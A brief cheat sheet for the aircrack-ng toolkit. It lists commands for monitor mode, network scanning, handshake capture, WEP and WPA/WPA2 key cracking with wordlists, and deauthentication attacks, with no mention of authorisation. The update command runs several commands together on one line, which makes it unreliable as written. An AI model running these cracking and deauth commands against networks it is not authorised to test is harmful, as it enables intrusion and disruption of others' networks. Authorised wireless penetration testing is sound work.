1. Basic Commands
Start Monitor Mode
airmon-ng start wlan0
Stop Monitor Mode
airmon-ng stop wlan0
Check Wireless Interfaces
iwconfig
2. Scanning
Scan for Networks
airodump-ng wlan0mon
Scan Specific Channel
airodump-ng --channel [channel] wlan0mon
3. Capturing Handshake
Capture Handshake
airodump-ng --bssid [AP MAC] -c [channel] -w [file] wlan0mon
4. Cracking WEP
Crack WEP Key
aircrack-ng -b [AP MAC] [file].cap
5. Cracking WPA/WPA2
Crack WPA/WPA2 Key
aircrack-ng -w [wordlist.txt] -b [AP MAC] [file].cap
6. Deauthentication Attack
Send Deauth Packets
aireplay-ng --deauth [number] -a [AP MAC] wlan0mon
7. Miscellaneous
Show Help
aircrack-ng --help
Update Aircrack-ng
git clone https://github.com/aircrack-ng/aircrack-ng.git cd aircrack-ng make
8. Common File Types
File Types
.cap Packet capture .hccapx WPA handshake for Hashcat .pcapng Extended PCAP format
9. Wordlist Resources
Common Wordlists
rockyou.txt crunch cewl john
10. Security Measures
Disable Wi-Fi
nmcli radio wifi off
Enable Wi-Fi
nmcli radio wifi on